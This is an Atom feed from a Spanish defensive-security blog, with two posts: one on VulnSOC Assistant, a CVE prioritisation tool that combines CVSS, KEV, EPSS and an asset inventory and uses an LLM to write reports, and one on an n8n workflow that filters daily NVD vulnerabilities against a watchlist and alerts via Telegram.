<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://iamescri.es/feed.xml" rel="self" type="application/atom+xml" /><link href="https://iamescri.es/" rel="alternate" type="text/html" /><updated>2026-06-22T18:41:51+00:00</updated><id>https://iamescri.es/feed.xml</id><title type="html">iamEscri</title><subtitle>Ciberseguridad defensiva + Automatización con IA aplicada a entornos reales.</subtitle><author><name>iamEscri</name></author><entry xml:lang="Python"><title type="html">VulnSOC Assistant</title><link href="https://iamescri.es/projects/vulnsoc-assistant/" rel="alternate" type="text/html" title="VulnSOC Assistant" /><published>2026-06-15T00:00:00+00:00</published><updated>2026-06-15T00:00:00+00:00</updated><id>https://iamescri.es/projects/vulnsoc-assistant</id><content type="html" xml:base="https://iamescri.es/projects/vulnsoc-assistant/"><![CDATA[<p>VulnSOC Assistant <strong>lo empecé como mi Trabajo Fin de Máster</strong>, así que lo he ido construyendo y entendiendo a la vez. La idea de la que partí era bastante simple, Y es que <strong>en un SOC revisar vulnerabilidades a mano lleva muchísimo tiempo</strong> ya que por cada CVE que llega hay que abrir el NVD, mirar si está en el catálogo de explotación activa de CISA, leer el detalle técnico, decidir cómo de urgente es y luego redactar algo para el equipo. Quería ver si podía reducir todo eso a unos pocos segundos.</p>

<p>Lo que tenía en la cabeza desde el principio era una web donde poder consultar un CVE, ver su prioridad real y poder lanzar varios a la vez y compararlos entre ellos, porque en un SOC rara vez llega uno solo. Esas tres cosas <code class="language-plaintext highlighter-rouge">(consultar, priorizar y trabajar con varios en conjunto)</code> son las que marcaron el diseño.</p>

<p>Pero según iba leyendo me di cuenta de que el problema de verdad no era automatizar la búsqueda sino la <code class="language-plaintext highlighter-rouge">priorización</code>. Y ahí es donde está casi todo el trabajo: <strong>conseguir que la herramienta no priorice solo por CVSS</strong>, porque el CVSS por sí solo engaña bastante.</p>

<p>Es el complemento del <a href="/auto/vulnsoc-monitor-cves/">monitor de CVEs en n8n</a> que ya tengo publicado. Aquel filtra el ruido cada mañana y avisa, y este se mete a fondo en un CVE concreto cuando hay que tomar una decisión.</p>

<hr />

<h2 id="el-problema-el-cvss-no-es-una-prioridad">El problema: el CVSS no es una prioridad</h2>

<p>El CVSS es una nota del 0 al 10 que mide la gravedad teórica de una vulnerabilidad. Lo que tardé un poco en entender es que <strong>esa nota teórica y la urgencia real no son lo mismo</strong>. Una vulnerabilidad con CVSS 9.8 puede ser menos urgente que una de 7.5 si la de 7.5 ya se está explotando de forma activa y la otra no tiene ni exploit público.</p>

<p>El ejemplo que más me ayudó a verlo fue PrintNightmare. El CVSS la marca como “Alta”, pero se estaba explotando muchísimo, tenía exploit público y era fácil de aprovechar. En la práctica <strong>era una emergencia y no una “Alta” más de la lista</strong>. Si priorizas solo por CVSS, una vulnerabilidad así se queda esperando debajo de un montón de “Críticas” teóricas que en ese momento no está atacando nadie.</p>

<p>Ese es el hueco que quería atacar: que la herramienta no me devuelva el número del NVD tal cual, sino una prioridad que tenga en cuenta si la cosa se está explotando de verdad.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/01-analisis-principal.png" alt="Pantalla principal de análisis: prioridad, score del sistema, CVSS puro, KEV y EPSS" /></p>

<hr />

<h2 id="arquitectura-del-sistema">Arquitectura del sistema</h2>

<p>Antes de meterme con cada módulo, así es como encaja todo.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/00-arquitectura-general.png" alt="Arquitectura completa de VulnSOC Assistant" /></p>

<p>El recorrido va siempre en el mismo orden y cada paso tiene una sola responsabilidad:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        Usuario
          │  introduce un CVE
          ▼
┌──────────────────────────────┐
│ 1. Ingesta                   │
│    NVD · CISA KEV · EPSS      │
└──────────────┬───────────────┘
               ▼
┌──────────────────────────────┐
│ 2. Motor de scoring          │
│    CVSS · KEV · EPSS          │
│    CWE · inventario           │
└──────────────┬───────────────┘
               ▼
┌──────────────────────────────┐
│ 3. IA generativa             │
│    Groq / Llama 3.3           │
└──────────────┬───────────────┘
               ▼
┌──────────────────────────────┐
│ 4. Salidas                   │
│    resumen · mitigación       │
│    regla Sigma · PDF          │
└──────────────────────────────┘
</code></pre></div></div>

<p>Lo separé así porque el módulo de scoring es lo único que es realmente mío, y tenerlo aislado me deja probarlo y explicarlo por separado del resto. En código queda repartido en estos ficheros:</p>

<table>
  <thead>
    <tr>
      <th>Módulo</th>
      <th>Qué hace</th>
      <th>Fuente</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ingesta.py</code></td>
      <td>Descarga los datos del CVE</td>
      <td>API de NVD, CISA KEV, EPSS</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">scoring.py</code></td>
      <td>Calcula la prioridad propia</td>
      <td>Datos del módulo anterior</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">analisis_ia.py</code></td>
      <td>Genera el texto en lenguaje natural</td>
      <td>LLM (Groq / Llama 3.3)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">exportar_pdf.py</code></td>
      <td>Informe descargable</td>
      <td>ReportLab</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">pages/</code></td>
      <td>Búsqueda, historial, análisis múltiple, inventario</td>
      <td>Streamlit</td>
    </tr>
  </tbody>
</table>

<p>La ingesta es la parte más aburrida pero acabó siendo de las que más me enseñó. Tiene timeouts separados, cabeceras <code class="language-plaintext highlighter-rouge">User-Agent</code> y un manejo aparte de los errores <code class="language-plaintext highlighter-rouge">503</code> del NVD, que salen bastante y vienen del lado del servidor y no del mío. Esto lo aprendí a base de fallos, ya que las primeras veces un mal día del NVD me tiraba la app entera, hasta que separé la excepción de <code class="language-plaintext highlighter-rouge">Timeout</code> para que solo se cayera ese dato y no todo lo demás.</p>

<p>Elegí Streamlit en vez de montar un FastAPI con React porque el valor del proyecto está en el scoring y en el análisis, no en el frontend. Streamlit me da una interfaz usable con mucho menos código. Si esto fuera un producto para miles de usuarios a la vez seguramente elegiría otra cosa, pero <strong>para una herramienta interna de SOC me pareció lo correcto</strong>.</p>

<hr />

<h2 id="el-motor-de-scoring">El motor de scoring</h2>

<p>Aquí está lo que de verdad sostiene el proyecto y la parte que más me costó pensar. <strong>El scoring parte del CVSS como base y le suma o resta puntos según señales que el CVSS no mira</strong>: si está en el catálogo KEV de CISA (explotación activa confirmada), su EPSS (la probabilidad estadística de que se explote), si es reciente (menos tiempo para que la gente haya parcheado), el tipo de fallo según el CWE, el vector de ataque, si hace falta autenticación o que el usuario haga algo, y si coincide con el inventario del entorno.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/02-scoring-detallado.png" alt="Scoring detallado: los factores que suman y restan, con su justificación" /></p>

<p>Hay dos decisiones aquí que me dieron bastantes vueltas.</p>

<p><strong>La primera decisión fue separar el score interno del score mostrado</strong>. El score interno acumula todos los factores sin límite, mientras que el score mostrado se limita a una escala de 0 a 100. Lo hice así porque ambos cumplen funciones distintas.</p>

<p><strong>El score mostrado sirve para priorizar rápidamente.</strong> Un analista no necesita distinguir visualmente entre 137 y 182 puntos; ambos casos ya representan una situación extremadamente prioritaria. Sin embargo, conservar el score interno me permite mantener toda la información original y entender exactamente por qué una vulnerabilidad alcanzó esa prioridad.</p>

<p>Por ejemplo, dos CVEs pueden aparecer como 100/100 en la interfaz y seguir siendo diferentes internamente. Uno puede haber llegado a 105 puntos y otro a 213. Para el analista ambos son críticos y requieren atención inmediata, pero el score interno sigue reflejando cuál acumula más señales de riesgo.</p>

<p><strong>La segunda decisión fue limitar el resultado en 100 en lugar de normalizarlo</strong>. Inicialmente valoré calcular una puntuación relativa sobre un máximo teórico, pero ese enfoque tiene un problema práctico: cada vez que se añade o modifica un factor de scoring, cambia también el máximo posible y los resultados históricos dejan de ser comparables.</p>

<p><strong>Al limitar la puntuación a 100, la escala permanece estable con el paso del tiempo</strong>. Puedo ajustar el modelo, incorporar nuevas señales o modificar pesos sin alterar el significado de las puntuaciones ya generadas. Es una solución menos elegante desde un punto de vista matemático, pero bastante más útil para una herramienta que pretende utilizarse de forma continuada.</p>

<p><strong>Lo interesante no es el CVSS de 8.8, sino todo lo que aparece alrededor</strong>. La vulnerabilidad está siendo explotada activamente, tiene un EPSS superior al 94%, permite ejecución remota de código y afecta a sistemas presentes en el inventario. <strong>El score final intenta condensar toda esa información en una única prioridad</strong> que ayude a decidir qué revisar primero..</p>

<hr />

<h2 id="del-cve-al-resultado-final">Del CVE al resultado final</h2>

<p>Una cosa que intenté cuidar durante todo el desarrollo fue <strong>el orden de los pasos</strong>. Cuando el analista mete un CVE, la aplicación no le pregunta directamente a la IA. Primero obtiene los datos reales de las fuentes externas, después calcula la prioridad con el motor de scoring, y solo cuando ya hay una valoración objetiva entra la IA a interpretar.</p>

<p>Lo hice así a propósito porque <em>*no quería que el modelo tomara decisiones que en realidad le tocan a la lógica del sistema</em>. La prioridad la decide el scoring con datos, no el texto que genera un LLM. Cuando ya está todo calculado la IA solo le pone palabras y el resultado final sirve igual para un responsable de seguridad que para un analista de SOC.</p>

<p>Una ventaja de montarlo así es que puedo revisar cada etapa por separado. Si el score sale mal, miro solo el motor de scoring sin tocar la IA. Y si la explicación es floja, ajusto el prompt sin tocar la lógica de prioridad.</p>

<p>Intenté que las responsabilidades no se mezclaran entre módulos. Cuanto más avanzaba, más claro tenía que para que esto se pudiera mantener cada parte tenía que hacer una sola cosa y tirar de una sola fuente de datos.</p>

<hr />

<h2 id="la-ia-interpreta-no-inventa">La IA interpreta, no inventa</h2>

<p>Esto lo tenía claro desde el principio y es que <strong>el LLM no es una fuente de datos</strong>, este <strong>recibe los datos reales que ya tengo del NVD, CISA y EPSS, más el score ya calculado, y solo se encarga de redactar</strong>: el resumen ejecutivo para quien decide, el análisis técnico para el analista y el plan de mitigación.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/04-respuesta-ia.png" alt="Respuesta generada por la IA a partir de los datos reales y el score ya calculado" /></p>

<p><img src="/assets/img/projects/vulnsoc-assistant/04-respuesta-ia2.png" alt="Respuesta generada por la IA a partir de los datos reales y el score ya calculado" /></p>

<p><img src="/assets/img/projects/vulnsoc-assistant/04-respuesta-ia3.png" alt="Respuesta generada por la IA a partir de los datos reales y el score ya calculado" /></p>

<p>Para que no se descontrolara tomé unas cuantas decisiones concretas:</p>

<p>-No quiero creatividad, <strong>quiero que reescriba los datos inventándose lo menos posible.</strong></p>

<p>-<strong>Detección de alucinaciones</strong>. El módulo compara lo que genera el modelo con los datos reales y avisa si se inventa algo que no estaba en la entrada.</p>

<p>-<strong>Proveedor de IA intercambiable</strong>. Uso Groq con Llama 3.3 70b por la capa gratuita, pero todo pasa por una variable <code class="language-plaintext highlighter-rouge">IA_PROVIDER</code>, así que cambiar a Gemini o a OpenAI es cuestión de un momento. No quería atarme a un proveedor por algo que es solo operativo.</p>

<p>El precio de esto es que dependo de los límites diarios de tokens de Groq, que llegué a tocar haciendo pruebas. Es un cambio que asumo: gratis a cambio de un techo de uso.</p>

<hr />

<h2 id="una-cosa-que-no-esperaba-el-agujero-de-la-nvd">Una cosa que no esperaba: el agujero de la NVD</h2>

<p>Esta parte no estaba en el plan y seguramente es la que más he aprendido. El módulo de inventario tenía que ser de lo más simple. El analista registra su stack, por ejemplo <code class="language-plaintext highlighter-rouge">wordpress</code> en servidor 1 y cuando llega un CVE comparo el producto afectado con esa lista. Si coincide sube prioridad, y si no, baja.</p>

<p>El problema saltó en cuanto empecé a probarlo con CVEs reales. El producto afectado lo saco del CPE, que es el identificador del producto, y resulta que en <strong>la mayoría de CVEs nuevos ese campo viene vacío</strong>. Al principio pensé que era un fallo mío pero no lo era. Desde febrero de 2024 el NIST dejó de enriquecer con CPE la mayoría de vulnerabilidades, y en 2026 lo ha pasado a un modelo “basado en riesgo” donde solo los CVEs que están en KEV, en software federal o en software crítico reciben el enriquecimiento completo. El resto, que es casi todo, se queda sin CPE.</p>

<p>Lo comprobé con casos reales para asegurarme. Un CVE de un plugin de WordPress recién publicado venía con el producto afectado vacío. Uno del kernel de Linux igual, de hecho la propia NVD lo marca como “Awaiting Enrichment”. Y en cambio uno de SolarWinds que sí entró en KEV tenía el CPE completo el mismo día. Entonces lo que decide no es lo nuevo o viejo que sea, sino quién lo enriquece y por qué vía.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/05-datos-brutos.png" alt="Datos brutos del CVE: el campo de productos afectados llega vacío desde el NVD" /></p>

<p>Esto me rompía el módulo pero lo interesante fue tener que decidir qué hacer con ello. Lo fácil era restar puntos por “no detectado en inventario” y me di cuenta de que eso está mal. <strong>Que no haya CPE no significa que no esté en tu entorno, solo significa que el NVD no llegó a etiquetarlo</strong>. Si penalizas por eso estás castigando justo a los CVEs más nuevos que suelen ser los más urgentes. Así que cuando no hay CPE el factor se queda neutro y marca “inventario no verificable” en vez de decirte un “no te afecta” que sería mentira.</p>

<hr />

<h2 id="introduciendo-contexto-el-inventario">Introduciendo contexto: el inventario</h2>

<p>Aquí apareció otra limitación interesante. Incluso cuando existe información suficiente para identificar el producto afectado, eso <strong>no significa automáticamente que la vulnerabilidad sea relevante para tu entorno.</strong></p>

<p>Un CVE que afecta a WordPress puede ser prioritario para una organización que gestiona decenas de sitios, pero prácticamente irrelevante para otra cuya infraestructura se basa en Linux, Docker y Nginx. La vulnerabilidad es la misma, pero el contexto cambia completamente la urgencia con la que debería revisarse.</p>

<p>Por eso <strong>añadí un inventario sencillo donde el analista puede registrar tecnologías presentes en su entorno.</strong> Cuando una vulnerabilidad afecta a alguno de esos activos, <strong>el motor de scoring le da más peso.</strong> No sustituye el análisis humano ni pretende ser un sistema completo de gestión de activos, pero añade una capa de contexto que ayuda a diferenciar vulnerabilidades teóricas de las que tienen una probabilidad real de afectar al entorno.</p>

<p>Durante las pruebas resultó especialmente útil en ecosistemas con gran cantidad de componentes y extensiones, como WordPress. Sin una referencia del entorno, muchas vulnerabilidades terminan compitiendo en igualdad de condiciones. Con el inventario, la priorización deja de depender únicamente de métricas globales y empieza a tener en cuenta qué tecnologías están realmente presentes.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/06-inventario.png" alt="Inventario del entorno: el analista registra su stack para contextualizar la prioridad" /></p>

<hr />

<h2 id="detección-reglas-sigma-con-trazabilidad">Detección: reglas Sigma con trazabilidad</h2>

<p>La última salida es una <strong>regla de detección en formato Sigma para cargar en un SIEM</strong>. Lo importante no es generarla sino de dónde sale. El sistema mira primero si ya existe una regla validada en <code class="language-plaintext highlighter-rouge">SigmaHQ</code> para ese CVE. Si existe la usa de base y si no la genera marcándola como borrador pendiente de revisión. Cada regla deja claro su origen.</p>

<p>Esto responde de antemano a la duda de “las reglas de IA pueden ser basura”. Si viene de SigmaHQ está validada por la comunidad y si la genera el modelo se etiqueta como tal. La trazabilidad es lo que la hace defendible.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/07-regla-sigma.png" alt="Regla Sigma generada para el CVE, con su origen indicado" /></p>

<p><strong>Todo lo anterior se puede exportar a un PDF</strong> para pasárselo al equipo sin tener que abrir la herramienta, que al final es como se mueve un informe en un SOC.</p>

<hr />

<h2 id="buscar-y-priorizar-en-conjunto">Buscar y priorizar en conjunto</h2>

<p>La idea inicial nunca fue analizar un único CVE. De hecho, esa es probablemente la situación menos habitual.</p>

<p>Cuando aparece una nueva campaña de explotación o se publica una tanda de vulnerabilidades relevantes, lo normal es terminar revisando varias a la vez. Ahí es donde empecé a notar que consultar CVEs de forma individual no resolvía realmente el problema. Lo importante no era saber más sobre una vulnerabilidad concreta, sino decidir <strong>cuál merecía atención primero.</strong></p>

<p>Por eso añadí la posibilidad de <strong>analizar varios CVEs en lote</strong>. La herramienta procesa cada uno de forma independiente, obtiene contexto de las distintas fuentes y genera una tabla comparativa con las puntuaciones finales. El objetivo no es sustituir el criterio del analista sino ofrecer una referencia rápida para identificar qué vulnerabilidades destacan por probabilidad de explotación, exposición o relevancia para el entorno.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/09-analisis-multiple.png" alt="Análisis múltiple: varios CVEs con su score en una tabla comparativa para priorizar entre ellos" /></p>

<hr />

<h2 id="cuando-todavía-no-conoces-el-cve">Cuando todavía no conoces el CVE</h2>

<p><strong>No siempre se parte de un identificador concreto</strong>. Muchas veces la información inicial llega como una noticia, un aviso de seguridad o una referencia genérica a una vulnerabilidad en un producto determinado.</p>

<p>Por eso <strong>añadí una búsqueda por descripción que permite localizar CVEs relacionados a partir de palabras clave</strong>. No es una función especialmente compleja, pero evita tener que saltar continuamente entre distintas fuentes hasta encontrar el identificador correcto.</p>

<p>En la práctica termina siendo útil cuando aparece una vulnerabilidad nueva y todavía no se conoce el CVE exacto, o cuando simplemente se quiere explorar qué vulnerabilidades existen para una tecnología concreta.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/10-busqueda-cve.png" alt="Análisis CVE" /></p>

<hr />

<h2 id="mantener-el-contexto-entre-sesiones">Mantener el contexto entre sesiones</h2>

<p>Otra pequeña mejora que acabó resultando más útil de lo que esperaba fue el <strong>historial de análisis.</strong></p>

<p>Cuando se revisan varias vulnerabilidades durante una misma sesión es habitual volver atrás para comparar resultados o recuperar información ya analizada. Para evitar repetir consultas, <strong>la aplicación conserva el historial y permite exportarlo o importarlo en formato JSON.</strong></p>

<p>No cambia el análisis de una vulnerabilidad, pero sí mejora bastante la experiencia cuando se trabaja con conjuntos grandes de CVEs o se quiere continuar el trabajo más adelante.</p>

<p><img src="/assets/img/projects/vulnsoc-assistant/11-historial.png" alt="Análisis múltiple: varios CVEs con su score en una tabla comparativa para priorizar entre ellos" /></p>

<hr />

<h2 id="lo-que-aprendí-construyéndolo">Lo que aprendí construyéndolo</h2>

<p>El objetivo era hacer un sistema de análisis de vulnerabilidades, pero buena parte de lo que aprendí vino de cosas que no salían sobre el papel.</p>

<p>Lo primero fue ver hasta qué punto la calidad de los datos condiciona cualquier intento de priorizar. El inventario parecía la funcionalidad más sencilla del proyecto y resultó ser la que más me obligó a replantear, solo por la cantidad de CVEs que llegan sin CPE.</p>

<p>Lo segundo fue comprobar con casos reales que <strong>un CVSS alto no siempre va con la urgencia real</strong>. En cuanto metía la explotación activa o la existencia de exploit público, el orden de prioridad cambiaba por completo respecto al número del NVD.</p>

<p>Lo tercero fue separar la lógica del sistema de la IA. Cuanto más avanzaba, más claro tenía que <strong>el modelo tiene que interpretar la información, no producirla.</strong> Mantener esa separación me simplificó las pruebas y me quitó de encima un montón de respuestas raras e inconsistentes.</p>

<p>Y al final la conclusión que más me sirvió fue que lo difícil no era conseguir información de un CVE, eso lo dan las APIs. <strong>Lo difícil era convertir esa información en una decisión operativa razonable.</strong></p>

<hr />

<h2 id="lo-que-aún-me-falta">Lo que aún me falta</h2>

<p>Prefiero dejarlo claro porque sé lo que todavía no está cerrado:</p>

<ul>
  <li><strong>Dependo demasiado del NVD</strong>. Toda la ingesta cuelga de una API que puede tener días malos (<code class="language-plaintext highlighter-rouge">503</code>) y un enriquecimiento cada vez más incompleto. De momento lo aguanto con timeouts y degradando dato a dato, pero el siguiente paso serían fuentes que rellenen el hueco del CPE.</li>
  <li><strong>Los límites de tokens</strong>. El plan gratuito de Groq tiene techo, así que para un uso intensivo habría que pasar a un proveedor de pago o cachear más.</li>
  <li><strong>El historial se pierde en cada sesion</strong>, falta por conectar una base de datos para almacenar las consultas.</li>
</ul>

<hr />

<h2 id="conclusión">Conclusión</h2>

<p>Lo que me llevo de este proyecto no es la interfaz ni la parte de IA sino <strong>haber entendido que priorizar bien una vulnerabilidad es un problema de contexto y no de un número</strong>. El CVSS te dice cómo de grave es en teoría pero lo que un SOC necesita es saber qué mirar primero y eso depende de si se está explotando, de si hay exploit, de cómo de nueva es y de si toca tu entorno. <strong>VulnSOC Assistant es mi intento de meter todo ese contexto en una sola decisión</strong> y de que cuando falte un dato el sistema lo reconozca en vez de inventárselo.</p>]]></content><author><name>iamEscri</name></author><category term="projects" /><category term="cve" /><category term="cvss" /><category term="soc" /><category term="scoring" /><category term="nvd" /><category term="kev" /><category term="epss" /><category term="ia" /><category term="blue-team" /><summary type="html"><![CDATA[Herramienta web para SOC para consultar CVEs, priorizarlos con un motor de scoring propio y generar análisis con IA y detección. Permite buscar por descripción y analizar varios CVEs a la vez para compararlos.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">VulnSOC: un sistema para detectar qué CVEs afectan realmente a tu entorno</title><link href="https://iamescri.es/auto/vulnsoc-monitor-cves/" rel="alternate" type="text/html" title="VulnSOC: un sistema para detectar qué CVEs afectan realmente a tu entorno" /><published>2026-06-12T00:00:00+00:00</published><updated>2026-06-12T00:00:00+00:00</updated><id>https://iamescri.es/auto/vulnsoc-monitor-cves</id><content type="html" xml:base="https://iamescri.es/auto/vulnsoc-monitor-cves/"><![CDATA[<p>Cómo construí un flujo en n8n que consulta NVD cada mañana, descarta lo que no afecta a mi stack, prioriza por CVSS/EPSS/KEV y manda solo lo relevante a Telegram.</p>

<h2 id="el-problema">El problema</h2>

<p><strong>Cada día se publican cientos de CVEs nuevas</strong> en NVD. Si alguien intenta revisarlas una por una se daría cuenta de que <strong>la mayoría de esas CVEs no tienen nada que ver con su entorno</strong>, como por ejemplo plugins de WordPress que no utiliza, dispositivos IoT que nunca ha visto o productos que ni siquiera forman parte de su infraestructura.</p>

<p>Al final de todas las vulnerabilidades publicadas <strong>solo unas pocas CVEs suelen afectar a tecnologías que tiene desplegadas</strong>. El problema no es encontrar vulnerabilidades. <code class="language-plaintext highlighter-rouge">El problema es el tiempo que se pierde</code> revisando y descartando cientos de CVEs hasta dar con las pocas que realmente afectan a los sistemas que utilizamos.</p>

<h2 id="objetivo">Objetivo</h2>

<p>El objetivo de esta automatización era <strong>recibir cada mañana un mensaje</strong> en Telegram con únicamente las vulnerabilidades nuevas que afectan a <strong>las tecnologías que utilizo</strong> donde ya estén priorizadas según su probabilidad real de explotación y no solo por su puntuación CVSS.</p>

<p>También quería que el sistema enviara <strong>una notificación cuando no hubiera nada relevante</strong>, así De esa forma tendría la confirmación de que el flujo se había ejecutado correctamente y de que no había vulnerabilidades nuevas para las tecnologías monitorizadas.</p>

<h2 id="diseño-del-flujo">Diseño del flujo</h2>

<p>Lo que más me costó no fue la configuración de los nodos sino <strong>el orden en que ponerlos.</strong></p>

<p>Lo primero que se me ocurrió fue obtener todas las CVEs publicadas durante el día y dejar que un <code class="language-plaintext highlighter-rouge">LLM</code> decidiera cuáles eran relevantes para las tecnologías que monitorizo. Esto <strong>provoca unas 200 llamadas al día a una API de pago</strong> para que el modelo me diga “esto no va contigo” 197 veces, por lo que esta opción es <code class="language-plaintext highlighter-rouge">cara y lenta</code>. Y además dependía de que el modelo interpretara correctamente las tecnologías monitorizadas.</p>

<p>Así que le di la vuelta. En vez de analizarlo todo lo que hace el flujo es <strong>comparar cada CVE contra mi lista de tecnologías</strong> y lo que no toca ninguna se descarta ahí mismo. <strong>Las pocas que sobreviven al filtro son las que pasan a consultarse contra EPSS y KEV para priorizarlas</strong>. Así el proceso más costoso solo se ejecuta sobre las CVEs relevantes y no sobre cientos de vulnerabilidades que nunca van a afectar al entorno monitorizado.</p>

<p>El primer filtro es la watchlist, que es una lista que mantengo yo a mano con las tecnologías que tengo desplegadas como docker, nginx, postgresql, openssh, wazuh, proxmox, grafana, caddy, nextcloud… <strong>Si una CVE no afecta a ninguna de esas va fuera</strong>, da igual que sea un 10 de CVSS. Si no lo tengo montado no es mi problema. Solo <strong>con este paso se va la inmensa mayoría del ruido.</strong></p>

<p>Aquí viene la parte que más vueltas me hizo dar y es la de <strong>cómo decidir si una CVE afecta a una tecnología mía</strong>. Lo fácil es buscar la palabra en la descripción pero eso da falsos positivos. Me pasó que una herramienta llamada Roxy-WI que sirve para gestionar nginx y Apache me generó doce alertas marcadas como “nginx” solo porque su descripción los menciona y yo Roxy-WI no lo uso para nada.</p>

<p><strong>La solución fue tirar del CPE</strong> que es el identificador oficial del producto que NVD le asigna a cada CVE (vendor:producto, por ejemplo nginx:nginx). Si el CPE dice roxy-wi:roxy-wi no es nginx por mucho que el texto lo nombre. Es preciso porque va contra un dato estructurado, no contra texto suelto.</p>

<p><strong>El problema es que las CVEs recién publicadas todavía no tienen CPE</strong>. NVD tarda horas o días en analizarlas y esas primeras horas son las que más me interesan. Así que monté dos rutas dentro del mismo nodo: <strong>si la CVE ya está analizada y tiene CPE comparo contra cpeTerms</strong> que es lo preciso. Si todavía está sin analizar me voy a la descripción y comparo contra <code class="language-plaintext highlighter-rouge">descTerms</code> pero solo con términos que son lo bastante únicos como para no generar ruido. Cosas genéricas como nginx o apache no las meto en esa lista, porque en descripción generarían el mismo ruido.</p>

<p><strong>Con la CVE ya filtrada entra la parte de priorizar y aquí es donde sumo EPSS y KEV</strong>. El CVSS por sí solo no me vale porque mide lo grave que podría ser no si la están explotando de verdad. <strong>EPSS me da la probabilidad de que se explote en los próximos 30 días</strong>, y <strong>KEV (el catálogo de CISA) me dice si ya se está explotando ahí fuera</strong>. Una cosa es “esto podría ser peligroso” y otra muy distinta “esto lo están usando ahora mismo”.</p>

<p>El criterio de entrada final lo dejé así:</p>

<p><code class="language-plaintext highlighter-rouge">Entra si:  CVSS &gt;= 7   O   EPSS &gt;= 50%   O   está en KEV</code></p>

<p><strong>La idea es que una vulnerabilidad no quede fuera únicamente por tener un CVSS moderado</strong>. Si existen evidencias de explotación activa o una probabilidad muy alta de explotación, sigue mereciendo atención. Lo monté de esta manera a propósito porque quería que algo con un CVSS no tan alto pero con un EPSS por las nubes ,es decir, que se está explotando aunque no parezca gran cosa, esto es importante para que no se me escapara solo por la nota que le da <code class="language-plaintext highlighter-rouge">NVD</code>.</p>

<p>Y hay un detalle de orden que me costó ver y es que el <strong>EPSS y KEV se consultan después del filtro de watchlist</strong>. Al principio lo tenía mal porque descartaba por CVSS bajo antes de mirar el EPSS y claro, una CVE de CVSS 6 con EPSS del 99% se me caía sin que el sistema llegara a enterarse de que la estaban explotando. En cuanto me di cuenta reordené: <strong>primero miro si me afecta, luego saco todos los datos, y solo entonces decido</strong>. Parece una tontería pero es lo que más mejoró el criterio del sistema entero.</p>

<h2 id="cómo-funciona">Cómo funciona</h2>

<p><strong>El sistema hace cada mañana el mismo proceso que realizaría manualmente un administrador de sistemas o un analista de seguridad.</strong> que es mirar las vulnerabilidades nuevas, se queda solo con las que afectan a algo que tengo montado, comprueba cuáles son peligrosas de verdad y me avisa por Telegram. Todo lo demás lo tira por el camino.</p>

<p>Paso a paso el flujo es este:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Cron 08:00
   ↓
Watchlist (define cpeTerms / descTerms)
   ↓
NVD - Last 24h (GET a la API de NVD)
   ↓
Split Out CVEs
   ↓
Filter by Watchlist (CPE o descripción)
   ↓
¿Hay coincidencias?
   ├─ No → Telegram: "Sin vulnerabilidades nuevas en el watchlist hoy"
   └─ Sí → EPSS (cruce con first.org)
            ↓
         Aggregate + Priority (KEV + CVSS + EPSS → prioridad)
            ↓
         Build Messages (resumen + 1 mensaje por CVE)
            ↓
         Telegram
</code></pre></div></div>
<p><img src="/assets/img/auto/FlujoN8N.png" alt="Canvas del flujo en n8n con los nodos encadenados" /></p>

<p>Cada caja del diagrama es un nodo de n8n. Un temporizador lo arranca a las 8:00, <strong>pide a NVD las vulnerabilidades del último día</strong>, las separa una a una y las pasa por el filtro de la watchlist. Si no queda ninguna que me afecte, me llega un aviso de que hoy no hay nada y ahí termina. Si queda alguna <strong>consulta su probabilidad de explotación en EPSS</strong>, la cruza con el catálogo de CISA, le pone una prioridad y construye el mensaje que acaba en <code class="language-plaintext highlighter-rouge">Telegram</code>.</p>

<p>El nodo que más trabajo tiene es el de <strong>Aggregate + Priority</strong> . Es el que descarga la lista KEV de CISA una vez por ejecución, cruza cada CVE con su score de EPSS, aplica el criterio de entrada y le asigna una prioridad (KEV - EXPLOTADA, CRITICA, ALTA, MEDIA) con su emoji. También lleva un tope de 30 alertas por ejecución como medida de seguridad, para que un día con una avalancha de <code class="language-plaintext highlighter-rouge">CVEs</code> no me reviente el canal con 40 mensajes.</p>

<h2 id="prueba-de-funcionamiento">Prueba de funcionamiento</h2>

<p>Lo probé en los dos casos que me iba a encontrar de verdad: <strong>el día que sale algo y el día que no sale nada.</strong>
Para el primer escenario tuve que forzar una coincidencia, ya que como justo no había ninguna CVE de mi stack ese día metí wordpress en la watchlist a propósito para forzar que saltara algo y ver el flujo entero funcionando.</p>

<p>El sistema generó el siguiente mensaje:</p>

<p><img src="/assets/img/auto/MensajeCVE.png" alt="Mensaje con CVes" /></p>

<p>La CVE era la <code class="language-plaintext highlighter-rouge">CVE-2026-9848</code> que es una inyección SQL en un plugin de WordPress. El sistema la marcó como ALTA  y me gustó ver que lo hizo bien ya que tiene un CVSS de 7.5 así que entra por severidad, pero como el EPSS está a 0 y no aparece en KEV, no la sube a crítica. Que es exactamente lo que quería. La alerta me llega con todo lo que necesito para decidir de un vistazo si me pongo con ello o no: el CVSS, el EPSS, si está en KEV, la prioridad, un resumen de qué es y <strong>el enlace a NVD por si quiero leer más</strong>.</p>

<p>El otro caso es el más habitual, el del día en que no hay nada mío afectado. Aquí podría no mandar nada, pero preferí que avise igualmente:</p>

<p><img src="/assets/img/auto/Sinnada.png" alt="Mensaje sin nada" /></p>

